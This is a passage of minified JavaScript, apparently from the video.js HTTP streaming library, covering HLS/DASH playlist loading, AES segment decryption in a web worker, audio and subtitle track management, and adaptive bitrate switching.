${e.timeline}: [time: ${o.time}] [mapping: ${o.mapping}]`)),s=e.startOfSegment,a=t.end+o.mapping;else{if(!o)return!1;s=t.start+o.mapping,a=t.end+o.mapping}return r&&(r.start=s,r.end=a),(!n.start||s<n.start)&&(n.start=s),n.end=a,!0}saveDiscontinuitySyncInfo_(e){const t=e.playlist,i=e.segment;if(i.discontinuity)this.discontinuities[i.timeline]={time:i.start,accuracy:0};else if(t.discontinuityStarts&&t.discontinuityStarts.length)for(let n=0;n<t.discontinuityStarts.length;n++){const r=t.discontinuityStarts[n],s=t.discontinuitySequence+n+1,a=r-e.mediaIndex,o=Math.abs(a);if(!this.discontinuities[s]||this.discontinuities[s].accuracy>o){let n;n=a<0?i.start-ja({defaultDuration:t.targetDuration,durationList:t.segments,startIndex:e.mediaIndex,endIndex:r}):i.end+ja({defaultDuration:t.targetDuration,durationList:t.segments,startIndex:e.mediaIndex+1,endIndex:r}),this.discontinuities[s]={time:n,accuracy:o}}}}dispose(){this.trigger("dispose"),this.off()}}class Ul extends da.EventTarget{constructor(){super(),this.pendingTimelineChanges_={},this.lastTimelineChanges_={}}clearPendingTimelineChange(e){this.pendingTimelineChanges_[e]=null,this.trigger("pendingtimelinechange")}pendingTimelineChange({type:e,from:t,to:i}){return"number"==typeof t&&"number"==typeof i&&(this.pendingTimelineChanges_[e]={type:e,from:t,to:i},this.trigger("pendingtimelinechange")),this.pendingTimelineChanges_[e]}lastTimelineChange({type:e,from:t,to:i}){return"number"==typeof t&&"number"==typeof i&&(this.lastTimelineChanges_[e]={type:e,from:t,to:i},delete this.pendingTimelineChanges_[e],this.trigger("timelinechange")),this.lastTimelineChanges_[e]}dispose(){this.trigger("dispose"),this.pendingTimelineChanges_={},this.lastTimelineChanges_={},this.off()}}const Wl=Ao(Io((function(){var e=function(){function e(){this.listeners={}}var t=e.prototype;return t.on=function(e,t){this.listeners[e]||(this.listeners[e]=[]),this.listeners[e].push(t)},t.off=function(e,t){if(!this.listeners[e])return!1;var i=this.listeners[e].indexOf(t);return this.listeners[e]=this.listeners[e].slice(0),this.listeners[e].splice(i,1),i>-1},t.trigger=function(e){var t=this.listeners[e];if(t)if(2===arguments.length)for(var i=t.length,n=0;n<i;++n)t[n].call(this,arguments[1]);else for(var r=Array.prototype.slice.call(arguments,1),s=t.length,a=0;a<s;++a)t[a].apply(this,r)},t.dispose=function(){this.listeners={}},t.pipe=function(e){this.on("data",(function(t){e.push(t)}))},e}();let t=null;class n{constructor(e){let i,n,r;t||(t=function(){const e=[[[],[],[],[],[]],[[],[],[],[],[]]],t=e[0],i=e[1],n=t[4],r=i[4];let s,a,o;const l=[],u=[];let c,d,h,p,f,m;for(s=0;s<256;s++)u[(l[s]=s<<1^283*(s>>7))^s]=s;for(a=o=0;!n[a];a^=c||1,o=u[o]||1)for(p=o^o<<1^o<<2^o<<3^o<<4,p=p>>8^255&p^99,n[a]=p,r[p]=a,h=l[d=l[c=l[a]]],m=16843009*h^65537*d^257*c^16843008*a,f=257*l[p]^16843008*p,s=0;s<4;s++)t[s][a]=f=f<<24^f>>>8,i[s][p]=m=m<<24^m>>>8;for(s=0;s<5;s++)t[s]=t[s].slice(0),i[s]=i[s].slice(0);return e}()),this._tables=[[t[0][0].slice(),t[0][1].slice(),t[0][2].slice(),t[0][3].slice(),t[0][4].slice()],[t[1][0].slice(),t[1][1].slice(),t[1][2].slice(),t[1][3].slice(),t[1][4].slice()]];const s=this._tables[0][4],a=this._tables[1],o=e.length;let l=1;if(4!==o&&6!==o&&8!==o)throw new Error("Invalid aes key size");const u=e.slice(0),c=[];for(this._key=[u,c],i=o;i<4*o+28;i++)r=u[i-1],(i%o==0||8===o&&i%o==4)&&(r=s[r>>>24]<<24^s[r>>16&255]<<16^s[r>>8&255]<<8^s[255&r],i%o==0&&(r=r<<8^r>>>24^l<<24,l=l<<1^283*(l>>7))),u[i]=u[i-o]^r;for(n=0;i;n++,i--)r=u[3&n?i:i-4],c[n]=i<=4||n<4?r:a[0][s[r>>>24]]^a[1][s[r>>16&255]]^a[2][s[r>>8&255]]^a[3][s[255&r]]}decrypt(e,t,i,n,r,s){const a=this._key[1];let o,l,u,c=e^a[0],d=n^a[1],h=i^a[2],p=t^a[3];const f=a.length/4-2;let m,g=4;const _=this._tables[1],v=_[0],y=_[1],b=_[2],w=_[3],T=_[4];for(m=0;m<f;m++)o=v[c>>>24]^y[d>>16&255]^b[h>>8&255]^w[255&p]^a[g],l=v[d>>>24]^y[h>>16&255]^b[p>>8&255]^w[255&c]^a[g+1],u=v[h>>>24]^y[p>>16&255]^b[c>>8&255]^w[255&d]^a[g+2],p=v[p>>>24]^y[c>>16&255]^b[d>>8&255]^w[255&h]^a[g+3],g+=4,c=o,d=l,h=u;for(m=0;m<4;m++)r[(3&-m)+s]=T[c>>>24]<<24^T[d>>16&255]<<16^T[h>>8&255]<<8^T[255&p]^a[g++],o=c,c=d,d=h,h=p,p=o}}class r extends e{constructor(){super(e),this.jobs=[],this.delay=1,this.timeout_=null}processJob_(){this.jobs.shift()(),this.jobs.length?this.timeout_=setTimeout(this.processJob_.bind(this),this.delay):this.timeout_=null}push(e){this.jobs.push(e),this.timeout_||(this.timeout_=setTimeout(this.processJob_.bind(this),this.delay))}}const s=function(e){return e<<24|(65280&e)<<8|(16711680&e)>>8|e>>>24};class a{constructor(e,t,i,n){const o=a.STEP,l=new Int32Array(e.buffer),u=new Uint8Array(e.byteLength);let c=0;for(this.asyncStream_=new r,this.asyncStream_.push(this.decryptChunk_(l.subarray(c,c+o),t,i,u)),c=o;c<l.length;c+=o)i=new Uint32Array([s(l[c-4]),s(l[c-3]),s(l[c-2]),s(l[c-1])]),this.asyncStream_.push(this.decryptChunk_(l.subarray(c,c+o),t,i,u));this.asyncStream_.push((function(){var e;n(null,(e=u).subarray(0,e.byteLength-e[e.byteLength-1]))}))}static get STEP(){return 32e3}decryptChunk_(e,t,i,r){return function(){const a=function(e,t,i){const r=new Int32Array(e.buffer,e.byteOffset,e.byteLength>>2),a=new n(Array.prototype.slice.call(t)),o=new Uint8Array(e.byteLength),l=new Int32Array(o.buffer);let u,c,d,h,p,f,m,g,_;for(u=i[0],c=i[1],d=i[2],h=i[3],_=0;_<r.length;_+=4)p=s(r[_]),f=s(r[_+1]),m=s(r[_+2]),g=s(r[_+3]),a.decrypt(p,f,m,g,l,_),l[_]=s(l[_]^u),l[_+1]=s(l[_+1]^c),l[_+2]=s(l[_+2]^d),l[_+3]=s(l[_+3]^h),u=p,c=f,d=m,h=g;return o}(e,t,i);r.set(a,e.byteOffset)}}}var o="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:void 0!==i.g?i.g:"undefined"!=typeof self?self:{},l=("undefined"!=typeof window?window:void 0!==o?o:"undefined"!=typeof self?self:{}).BigInt||Number;l("0x1"),l("0x100"),l("0x10000"),l("0x1000000"),l("0x100000000"),l("0x10000000000"),l("0x1000000000000"),l("0x100000000000000"),l("0x10000000000000000"),function(){var e=new Uint16Array([65484]),t=new Uint8Array(e.buffer,e.byteOffset,e.byteLength);255===t[0]||t[0]}(),self.onmessage=function(e){const t=e.data,i=new Uint8Array(t.encrypted.bytes,t.encrypted.byteOffset,t.encrypted.byteLength),n=new Uint32Array(t.key.bytes,t.key.byteOffset,t.key.byteLength/4),r=new Uint32Array(t.iv.bytes,t.iv.byteOffset,t.iv.byteLength/4);new a(i,n,r,(function(e,i){self.postMessage(function(e){const t={};return Object.keys(e).forEach((i=>{const n=e[i];var r;r=n,("function"===ArrayBuffer.isView?ArrayBuffer.isView(r):r&&r.buffer instanceof ArrayBuffer)?t[i]={bytes:n.buffer,byteOffset:n.byteOffset,byteLength:n.byteLength}:t[i]=n})),t}({source:t.source,decrypted:i}),[i.buffer])}))}})));var zl=Po(Wl);const ql=e=>{let t=e.default?"main":"alternative";return e.characteristics&&e.characteristics.indexOf("public.accessibility.describes-video")>=0&&(t="main-desc"),t},Vl=(e,t)=>{e.abort(),e.pause(),t&&t.activePlaylistLoader&&(t.activePlaylistLoader.pause(),t.activePlaylistLoader=null)},Jl=(e,t)=>{t.activePlaylistLoader=e,e.load()},Gl={AUDIO:(e,t)=>()=>{const{segmentLoaders:{[e]:i},mediaTypes:{[e]:n},excludePlaylist:r}=t;Vl(i,n);const s=n.activeTrack(),a=n.activeGroup(),o=(a.filter((e=>e.default))[0]||a[0]).id,l=n.tracks[o];if(s!==l){da.log.warn("Problem encountered loading the alternate audio track.Switching back to default.");for(const e in n.tracks)n.tracks[e].enabled=n.tracks[e]===l;n.onTrackChanged()}else r({error:{message:"Problem encountered loading the default audio track."}})},SUBTITLES:(e,t)=>()=>{const{segmentLoaders:{[e]:i},mediaTypes:{[e]:n}}=t;da.log.warn("Problem encountered loading the subtitle track.Disabling subtitle track."),Vl(i,n);const r=n.activeTrack();r&&(r.mode="disabled"),n.onTrackChanged()}},Kl={AUDIO:(e,t,i)=>{if(!t)return;const{tech:n,requestOptions:r,segmentLoaders:{[e]:s}}=i;t.on("loadedmetadata",(()=>{const e=t.media();s.playlist(e,r),(!n.paused()||e.endList&&"none"!==n.preload())&&s.load()})),t.on("loadedplaylist",(()=>{s.playlist(t.media(),r),n.paused()||s.load()})),t.on("error",Gl[e](e,i))},SUBTITLES:(e,t,i)=>{const{tech:n,requestOptions:r,segmentLoaders:{[e]:s},mediaTypes:{[e]:a}}=i;t.on("loadedmetadata",(()=>{const e=t.media();s.playlist(e,r),s.track(a.activeTrack()),(!n.paused()||e.endList&&"none"!==n.preload())&&s.load()})),t.on("loadedplaylist",(()=>{s.playlist(t.media(),r),n.paused()||s.load()})),t.on("error",Gl[e](e,i))}},Xl={AUDIO:(e,t)=>{const{vhs:i,sourceType:n,segmentLoaders:{[e]:r},requestOptions:s,main:{mediaGroups:a},mediaTypes:{[e]:{groups:o,tracks:l,logger_:u}},mainPlaylistLoader:c}=t,d=qa(c.main);a[e]&&0!==Object.keys(a[e]).length||(a[e]={main:{default:{default:!0}}},d&&(a[e].main.default.playlists=c.main.playlists));for(const r in a[e]){o[r]||(o[r]=[]);for(const h in a[e][r]){let p,f=a[e][r][h];if(d?(u(`AUDIO group '${r}' label '${h}' is a main playlist`),f.isMainPlaylist=!0,p=null):p="vhs-json"===n&&f.playlists?new oo(f.playlists[0],i,s):f.resolvedUri?new oo(f.resolvedUri,i,s):f.playlists&&"dash"===n?new Co(f.playlists[0],i,s,c):null,f=ya({id:h,playlistLoader:p},f),Kl[e](e,f.playlistLoader,t),o[r].push(f),void 0===l[h]){const e=new da.AudioTrack({id:h,kind:ql(f),enabled:!1,language:f.language,default:f.default,label:h});l[h]=e}}}r.on("error",Gl[e](e,t))},SUBTITLES:(e,t)=>{const{tech:i,vhs:n,sourceType:r,segmentLoaders:{[e]:s},requestOptions:a,main:{mediaGroups:o},mediaTypes:{[e]:{groups:l,tracks:u}},mainPlaylistLoader:c}=t;for(const s in o[e]){l[s]||(l[s]=[]);for(const d in o[e][s]){if(o[e][s][d].forced)continue;let h,p=o[e][s][d];if("hls"===r)h=new oo(p.resolvedUri,n,a);else if("dash"===r){if(!p.playlists.filter((e=>e.excludeUntil!==1/0)).length)return;h=new Co(p.playlists[0],n,a,c)}else"vhs-json"===r&&(h=new oo(p.playlists?p.playlists[0]:p.resolvedUri,n,a));if(p=ya({id:d,playlistLoader:h},p),Kl[e](e,p.playlistLoader,t),l[s].push(p),void 0===u[d]){const e=i.addRemoteTextTrack({id:d,kind:"subtitles",default:p.default&&p.autoselect,language:p.language,label:d},!1).track;u[d]=e}}}s.on("error",Gl[e](e,t))},"CLOSED-CAPTIONS":(e,t)=>{const{tech:i,main:{mediaGroups:n},mediaTypes:{[e]:{groups:r,tracks:s}}}=t;for(const t in n[e]){r[t]||(r[t]=[]);for(const a in n[e][t]){const o=n[e][t][a];if(!/^(?:CC|SERVICE)/.test(o.instreamId))continue;const l=i.options_.vhs&&i.options_.vhs.captionServices||{};let u={label:a,language:o.language,instreamId:o.instreamId,default:o.default&&o.autoselect};if(l[u.instreamId]&&(u=ya(u,l[u.instreamId])),void 0===u.default&&delete u.default,r[t].push(ya({id:a},o)),void 0===s[a]){const e=i.addRemoteTextTrack({id:u.instreamId,kind:"captions",default:u.default,language:u.language,label:u.label},!1).track;s[a]=e}}}}},Zl=(e,t)=>{for(let i=0;i<e.length;i++){if(Wa(t,e[i]))return!0;if(e[i].playlists&&Zl(e[i].playlists,t))return!0}return!1},Ql={AUDIO:(e,t)=>()=>{const{mediaTypes:{[e]:{tracks:i}}}=t;for(const e in i)if(i[e].enabled)return i[e];return null},SUBTITLES:(e,t)=>()=>{const{mediaTypes:{[e]:{tracks:i}}}=t;for(const e in i)if("showing"===i[e].mode||"hidden"===i[e].mode)return i[e];return null}};let eu;const tu=["mediaRequests","mediaRequestsAborted","mediaRequestsTimedout","mediaRequestsErrored","mediaTransferDuration","mediaBytesTransferred","mediaAppends"],iu=function(e){return this.audioSegmentLoader_[e]+this.mainSegmentLoader_[e]};class nu extends da.EventTarget{constructor(e){super();const{src:t,withCredentials:i,tech:n,bandwidth:s,externVhs:a,useCueTags:o,playlistExclusionDuration:l,enableLowInitialPlaylist:u,sourceType:c,cacheEncryptionKeys:d,bufferBasedABR:h,leastPixelDiffSelector:p,captionServices:f}=e;if(!t)throw new Error("A non-empty playlist URL or JSON manifest string is required");let{maxPlaylistRetries:m}=e;null==m&&(m=1/0),eu=a,this.bufferBasedABR=Boolean(h),this.leastPixelDiffSelector=Boolean(p),this.withCredentials=i,this.tech_=n,this.vhs_=n.vhs,this.sourceType_=c,this.useCueTags_=o,this.playlistExclusionDuration=l,this.maxPlaylistRetries=m,this.enableLowInitialPlaylist=u,this.useCueTags_&&(this.cueTagsTrack_=this.tech_.addTextTrack("metadata","ad-cues"),this.cueTagsTrack_.inBandMetadataTrackDispatchType=""),this.requestOptions_={withCredentials:i,maxPlaylistRetries:m,timeout:null},this.on("error",this.pauseLoading),this.mediaTypes_=(()=>{const e={};return["AUDIO","SUBTITLES","CLOSED-CAPTIONS"].forEach((t=>{e[t]={groups:{},tracks:{},activePlaylistLoader:null,activeGroup:_l,activeTrack:_l,getActiveGroup:_l,onGroupChanged:_l,onTrackChanged:_l,lastTrack_:null,logger_:va(`MediaGroups[${t}]`)}})),e})(),this.mediaSource=new(r().MediaSource),this.handleDurationChange_=this.handleDurationChange_.bind(this),this.handleSourceOpen_=this.handleSourceOpen_.bind(this),this.handleSourceEnded_=this.handleSourceEnded_.bind(this),this.mediaSource.addEventListener("durationchange",this.handleDurationChange_),this.mediaSource.addEventListener("sourceopen",this.handleSourceOpen_),this.mediaSource.addEventListener("sourceended",this.handleSourceEnded_),this.seekable_=ba(),this.hasPlayed_=!1,this.syncController_=new Bl(e),this.segmentMetadataTrack_=n.addRemoteTextTrack({kind:"metadata",label:"segment-metadata"},!1).track,this.decrypter_=new zl,this.sourceUpdater_=new Yl(this.mediaSource),this.inbandTextTracks_={},this.timelineChangeController_=new Ul;const g={vhs:this.vhs_,parse708captions:e.parse708captions,useDtsForTimestampOffset:e.useDtsForTimestampOffset,captionServices:f,mediaSource:this.mediaSource,currentTime:this.tech_.currentTime.bind(this.tech_),seekable:()=>this.seekable(),seeking:()=>this.tech_.seeking(),duration:()=>this.duration(),hasPlayed:()=>this.hasPlayed_,goalBufferLength:()=>this.goalBufferLength(),bandwidth:s,syncController:this.syncController_,decrypter:this.decrypter_,sourceType:this.sourceType_,inbandTextTracks:this.inbandTextTracks_,cacheEncryptionKeys:d,sourceUpdater:this.sourceUpdater_,timelineChangeController:this.timelineChangeController_,exactManifestTimings:e.exactManifestTimings};this.mainPlaylistLoader_="dash"===this.sourceType_?new Co(t,this.vhs_,this.requestOptions_):new oo(t,this.vhs_,this.requestOptions_),this.setupMainPlaylistLoaderListeners_(),this.mainSegmentLoader_=new gl(ya(g,{segmentMetadataTrack:this.segmentMetadataTrack_,loaderType:"main"}),e),this.audioSegmentLoader_=new gl(ya(g,{loaderType:"audio"}),e),this.subtitleSegmentLoader_=new Rl(ya(g,{loaderType:"vtt",featuresNativeTextTracks:this.tech_.featuresNativeTextTracks,loadVttJs:()=>new Promise(((e,t)=>{function i(){n.off("vttjserror",r),e()}function r(){n.off("vttjsloaded",i),t()}n.one("vttjsloaded",i),n.one("vttjserror",r),n.addWebVttScript_()}))}),e),this.setupSegmentLoaderListeners_(),this.bufferBasedABR&&(this.mainPlaylistLoader_.one("loadedplaylist",(()=>this.startABRTimer_())),this.tech_.on("pause",(()=>this.stopABRTimer_())),this.tech_.on("play",(()=>this.startABRTimer_()))),tu.forEach((e=>{this[e+"_"]=iu.bind(this,e)})),this.logger_=va("pc"),this.triggeredFmp4Usage=!1,"none"===this.tech_.preload()?(this.loadOnPlay_=()=>{this.loadOnPlay_=null,this.mainPlaylistLoader_.load()},this.tech_.one("play",this.loadOnPlay_)):this.mainPlaylistLoader_.load(),this.timeToLoadedData__=-1,this.mainAppendsToLoadedData__=-1,this.audioAppendsToLoadedData__=-1;const _="none"===this.tech_.preload()?"play":"loadstart";this.tech_.one(_,(()=>{const e=Date.now();this.tech_.one("loadeddata",(()=>{this.timeToLoadedData__=Date.now()-e,this.mainAppendsToLoadedData__=this.mainSegmentLoader_.mediaAppends,this.audioAppendsToLoadedData__=this.audioSegmentLoader_.mediaAppends}))}))}mainAppendsToLoadedData_(){return this.mainAppendsToLoadedData__}audioAppendsToLoadedData_(){return this.audioAppendsToLoadedData__}appendsToLoadedData_(){const e=this.mainAppendsToLoadedData_(),t=this.audioAppendsToLoadedData_();return-1===e||-1===t?-1:e+t}timeToLoadedData_(){return this.timeToLoadedData__}checkABR_(e="abr"){const t=this.selectPlaylist();t&&this.shouldSwitchToMedia_(t)&&this.switchMedia_(t,e)}switchMedia_(e,t,i){const n=this.media(),r=n&&(n.id||n.uri),s=e.id||e.uri;r&&r!==s&&(this.logger_(`switch media ${r} -> ${s} from ${t}`),this.tech_.trigger({type:"usage",name:`vhs-rendition-change-${t}`})),this.mainPlaylistLoader_.media(e,i)}startABRTimer_(){this.stopABRTimer_(),this.abrTimer_=r().setInterval((()=>this.checkABR_()),250)}stopABRTimer_(){this.tech_.scrubbing&&this.tech_.scrubbing()||(r().clearInterval(this.abrTimer_),this.abrTimer_=null)}getAudioTrackPlaylists_(){const e=this.main(),t=e&&e.playlists||[];if(!e||!e.mediaGroups||!e.mediaGroups.AUDIO)return t;const i=e.mediaGroups.AUDIO,n=Object.keys(i);let r;if(Object.keys(this.mediaTypes_.AUDIO.groups).length)r=this.mediaTypes_.AUDIO.activeTrack();else{const e=i.main||n.length&&i[n[0]];for(const t in e)if(e[t].default){r={label:t};break}}if(!r)return t;const s=[];for(const t in i)if(i[t][r.label]){const n=i[t][r.label];if(n.playlists&&n.playlists.length)s.push.apply(s,n.playlists);else if(n.uri)s.push(n);else if(e.playlists.length)for(let i=0;i<e.playlists.length;i++){const n=e.playlists[i];n.attributes&&n.attributes.AUDIO&&n.attributes.AUDIO===t&&s.push(n)}}return s.length?s:t}setupMainPlaylistLoaderListeners_(){this.mainPlaylistLoader_.on("loadedmetadata",(()=>{const e=this.mainPlaylistLoader_.media(),t=1.5*e.targetDuration*1e3;Ua(this.mainPlaylistLoader_.main,this.mainPlaylistLoader_.media())?this.requestOptions_.timeout=0:this.requestOptions_.timeout=t,e.endList&&"none"!==this.tech_.preload()&&(this.mainSegmentLoader_.playlist(e,this.requestOptions_),this.mainSegmentLoader_.load()),(e=>{["AUDIO","SUBTITLES","CLOSED-CAPTIONS"].forEach((t=>{Xl[t](t,e)}));const{mediaTypes:t,mainPlaylistLoader:i,tech:n,vhs:r,segmentLoaders:{AUDIO:s,main:a}}=e;["AUDIO","SUBTITLES"].forEach((i=>{t[i].activeGroup=((e,t)=>i=>{const{mainPlaylistLoader:n,mediaTypes:{[e]:{groups:r}}}=t,s=n.media();if(!s)return null;let a=null;s.attributes[e]&&(a=r[s.attributes[e]]);const o=Object.keys(r);if(!a)if("AUDIO"===e&&o.length>1&&qa(t.main))for(let e=0;e<o.length;e++){const t=r[o[e]];if(Zl(t,s)){a=t;break}}else r.main?a=r.main:1===o.length&&(a=r[o[0]]);return void 0===i?a:null!==i&&a&&a.filter((e=>e.id===i.id))[0]||null})(i,e),t[i].activeTrack=Ql[i](i,e),t[i].onGroupChanged=((e,t)=>()=>{const{segmentLoaders:{[e]:i,main:n},mediaTypes:{[e]:r}}=t,s=r.activeTrack(),a=r.getActiveGroup(),o=r.activePlaylistLoader,l=r.lastGroup_;a&&l&&a.id===l.id||(r.lastGroup_=a,r.lastTrack_=s,Vl(i,r),a&&!a.isMainPlaylist&&(a.playlistLoader?(i.resyncLoader(),Jl(a.playlistLoader,r)):o&&n.resetEverything()))})(i,e),t[i].onGroupChanging=((e,t)=>()=>{const{segmentLoaders:{[e]:i},mediaTypes:{[e]:n}}=t;n.lastGroup_=null,i.abort(),i.pause()})(i,e),t[i].onTrackChanged=((e,t)=>()=>{const{mainPlaylistLoader:i,segmentLoaders:{[e]:n,main:r},mediaTypes:{[e]:s}}=t,a=s.activeTrack(),o=s.getActiveGroup(),l=s.activePlaylistLoader,u=s.lastTrack_;if((!u||!a||u.id!==a.id)&&(s.lastGroup_=o,s.lastTrack_=a,Vl(n,s),o)){if(o.isMainPlaylist){if(!a||!u||a.id===u.id)return;const e=t.vhs.playlistController_,n=e.selectPlaylist();if(e.media()===n)return;return s.logger_(`track change. Switching main audio from ${u.id} to ${a.id}`),i.pause(),r.resetEverything(),void e.fastQualityChange_(n)}if("AUDIO"===e){if(!o.playlistLoader)return r.setAudio(!0),void r.resetEverything();n.setAudio(!0),r.setAudio(!1)}l!==o.playlistLoader?(n.track&&n.track(a),n.resetEverything(),Jl(o.playlistLoader,s)):Jl(o.playlistLoader,s)}})(i,e),t[i].getActiveGroup=((e,{mediaTypes:t})=>()=>{const i=t[e].activeTrack();return i?t[e].activeGroup(i):null})(i,e)}));const o=t.AUDIO.activeGroup();if(o){const e=(o.filter((e=>e.default))[0]||o[0]).id;t.AUDIO.tracks[e].enabled=!0,t.AUDIO.onGroupChanged(),t.AUDIO.onTrackChanged(),t.AUDIO.getActiveGroup().playlistLoader?(a.setAudio(!1),s.setAudio(!0)):a.setAudio(!0)}i.on("mediachange",(()=>{["AUDIO","SUBTITLES"].forEach((e=>t[e].onGroupChanged()))})),i.on("mediachanging",(()=>{["AUDIO","SUBTITLES"].forEach((e=>t[e].onGroupChanging()))}));const l=()=>{t.AUDIO.onTrackChanged(),n.trigger({type:"usage",name:"vhs-audio-change"})};n.audioTracks().addEventListener("change",l),n.remoteTextTracks().addEventListener("change",t.SUBTITLES.onTrackChanged),r.on("dispose",(()=>{n.audioTracks().removeEventListener("change",l),n.remoteTextTracks().removeEventListener("change",t.SUBTITLES.onTrackChanged)})),n.clearTracks("audio");for(const e in t.AUDIO.tracks)n.audioTracks().addTrack(t.AUDIO.tracks[e])})({sourceType:this.sourceType_,segmentLoaders:{AUDIO:this.audioSegmentLoader_,SUBTITLES:this.subtitleSegmentLoader_,main:this.mainSegmentLoader_},tech:this.tech_,requestOptions:this.requestOptions_,mainPlaylistLoader:this.mainPlaylistLoader_,vhs:this.vhs_,main:this.main(),mediaTypes:this.mediaTypes_,excludePlaylist:this.excludePlaylist.bind(this)}),this.triggerPresenceUsage_(this.main(),e),this.setupFirstPlay(),!this.mediaTypes_.AUDIO.activePlaylistLoader||this.mediaTypes_.AUDIO.activePlaylistLoader.media()?this.trigger("selectedinitialmedia"):this.mediaTypes_.AUDIO.activePlaylistLoader.one("loadedmetadata",(()=>{this.trigger("selectedinitialmedia")}))})),this.mainPlaylistLoader_.on("loadedplaylist",(()=>{this.loadOnPlay_&&this.tech_.off("play",this.loadOnPlay_);let e=this.mainPlaylistLoader_.media();if(!e){let t;if(this.excludeUnsupportedVariants_(),this.enableLowInitialPlaylist&&(t=this.selectInitialPlaylist()),t||(t=this.selectPlaylist()),!t||!this.shouldSwitchToMedia_(t))return;if(this.initialMedia_=t,this.switchMedia_(this.initialMedia_,"initial"),"vhs-json"!==this.sourceType_||!this.initialMedia_.segments)return;e=this.initialMedia_}this.handleUpdatedMediaPlaylist(e)})),this.mainPlaylistLoader_.on("error",(()=>{const e=this.mainPlaylistLoader_.error;this.excludePlaylist({playlistToExclude:e.playlist,error:e})})),this.mainPlaylistLoader_.on("mediachanging",(()=>{this.mainSegmentLoader_.abort(),this.mainSegmentLoader_.pause()})),this.mainPlaylistLoader_.on("mediachange",(()=>{const e=this.mainPlaylistLoader_.media(),t=1.5*e.targetDuration*1e3;Ua(this.mainPlaylistLoader_.main,this.mainPlaylistLoader_.media())?this.requestOptions_.timeout=0:this.requestOptions_.timeout=t,this.mainPlaylistLoader_.load(),this.mainSegmentLoader_.playlist(e,this.requestOptions_),this.mainSegmentLoader_.load(),this.tech_.trigger({type:"mediachange",bubbles:!0})})),this.mainPlaylistLoader_.on("playlistunchanged",(()=>{const e=this.mainPlaylistLoader_.media();"playlist-unchanged"!==e.lastExcludeReason_&&this.stuckAtPlaylistEnd_(e)&&(this.excludePlaylist({error:{message:"Playlist no longer updating.",reason:"playlist-unchanged"}}),this.tech_.trigger("playliststuck"))})),this.mainPlaylistLoader_.on("renditiondisabled",(()=>{this.tech_.trigger({type:"usage",name:"vhs-rendition-disabled"})})),this.mainPlaylistLoader_.on("renditionenabled",(()=>{this.tech_.trigger({type:"usage",name:"vhs-rendition-enabled"})}))}handleUpdatedMediaPlaylist(e){this.useCueTags_&&this.updateAdCues_(e),this.mainSegmentLoader_.playlist(e,this.requestOptions_),this.updateDuration(!e.endList),this.tech_.paused()||(this.mainSegmentLoader_.load(),this.audioSegmentLoader_&&this.audioSegmentLoader_.load())}triggerPresenceUsage_(e,t){const i=e.mediaGroups||{};let n=!0;const r=Object.keys(i.AUDIO);for(const e in i.AUDIO)for(const t in i.AUDIO[e])i.AUDIO[e][t].uri||(n=!1);n&&this.tech_.trigger({type:"usage",name:"vhs-demuxed"}),Object.keys(i.SUBTITLES).length&&this.tech_.trigger({type:"usage",name:"vhs-webvtt"}),eu.Playlist.isAes(t)&&this.tech_.trigger({type:"usage",name:"vhs-aes"}),r.length&&Object.keys(i.AUDIO[r[0]]).length>1&&this.tech_.trigger({type:"usage",name:"vhs-alternate-audio"}),this.useCueTags_&&this.tech_.trigger({type:"usage",name:"vhs-playlist-cue-tags"})}shouldSwitchToMedia_(e){const t=this.mainPlaylistLoader_.media()||this.mainPlaylistLoader_.pendingMedia_,i=this.tech_.currentTime(),n=this.bufferLowWaterLine(),r=this.bufferHighWaterLine();return function({currentPlaylist:e,buffered:t,currentTime:i,nextPlaylist:n,bufferLowWaterLine:r,bufferHighWaterLine:s,duration:a,bufferBasedABR:o,log:l}){if(!n)return da.log.warn("We received no playlist to switch to. Please check your stream."),!1;const u=`allowing switch ${e&&e.id||"null"} -> ${n.id}`;if(!e)return l(`${u} as current playlist is not set`),!0;if(n.id===e.id)return!1;const c=Boolean(Sa(t,i).length);if(!e.endList)return c||"number"!=typeof e.partTargetDuration?(l(`${u} as current playlist is live`),!0):(l(`not ${u} as current playlist is live llhls, but currentTime isn't in buffered.`),!1);const d=Da(t,i),h=o?Do.EXPERIMENTAL_MAX_BUFFER_LOW_WATER_LINE:Do.MAX_BUFFER_LOW_WATER_LINE;if(a<h)return l(`${u} as duration < max low water line (${a} < ${h})`),!0;const p=n.attributes.BANDWIDTH,f=e.attributes.BANDWIDTH;if(p<f&&(!o||d<s)){let e=`${u} as next bandwidth < current bandwidth (${p} < ${f})`;return o&&(e+=` and forwardBuffer < bufferHighWaterLine (${d} < ${s})`),l(e),!0}if((!o||p>f)&&d>=r){let e=`${u} as forwardBuffer >= bufferLowWaterLine (${d} >= ${r})`;return o&&(e+=` and next bandwidth > current bandwidth (${p} > ${f})`),l(e),!0}return l(`not ${u} as no switching criteria met`),!1}({buffered:this.tech_.buffered(),currentTime:i,currentPlaylist:t,nextPlaylist:e,bufferLowWaterLine:n,bufferHighWaterLine:r,duration:this.duration(),bufferBasedABR:this.bufferBasedABR,log:this.logger_})}setupSegmentLoaderListeners_(){this.mainSegmentLoader_.on("bandwidthupdate",(()=>{this.checkABR_("bandwidthupdate"),this.tech_.trigger("bandwidthupdate")})),this.mainSegmentLoader_.on("timeout",(()=>{this.bufferBasedABR&&this.mainSegmentLoader_.load()})),this.bufferBasedABR||this.mainSegmentLoader_.on("progress",(()=>{this.trigger("progress")})),this.mainSegmentLoader_.on("error",(()=>{const e=this.mainSegmentLoader_.error();this.excludePlaylist({playlistToExclude:e.playlist,error:e})})),this.mainSegmentLoader_.on("appenderror",(()=>{this.error=this.mainSegmentLoader_.error_,this.trigger("error")})),this.mainSegmentLoader_.on("syncinfoupdate",(()=>{this.onSyncInfoUpdate_()})),this.mainSegmentLoader_.on("timestampoffset",(()=>{this.tech_.trigger({type:"usage",name:"vhs-timestamp-offset"})})),this.audioSegmentLoader_.on("syncinfoupdate",(()=>{this.onSyncInfoUpdate_()})),this.audioSegmentLoader_.on("appenderror",(()=>{this.error=this.audioSegmentLoader_.error_,this.trigger("error")})),this.mainSegmentLoader_.on("ended",(()=>{this.logger_("main segment loader ended"),this.onEndOfStream()})),this.mainSegmentLoader_.on("earlyabort",(e=>{this.bufferBasedABR||(this.delegateLoaders_("all",["abort"]),this.excludePlaylist({error:{message:"Aborted early because there isn't enough bandwidth to complete the request without rebuffering."},playlistExclusionDuration:120}))}));const e=()=>{if(!this.sourceUpdater_.hasCreatedSourceBuffers())return this.tryToCreateSourceBuffers_();const 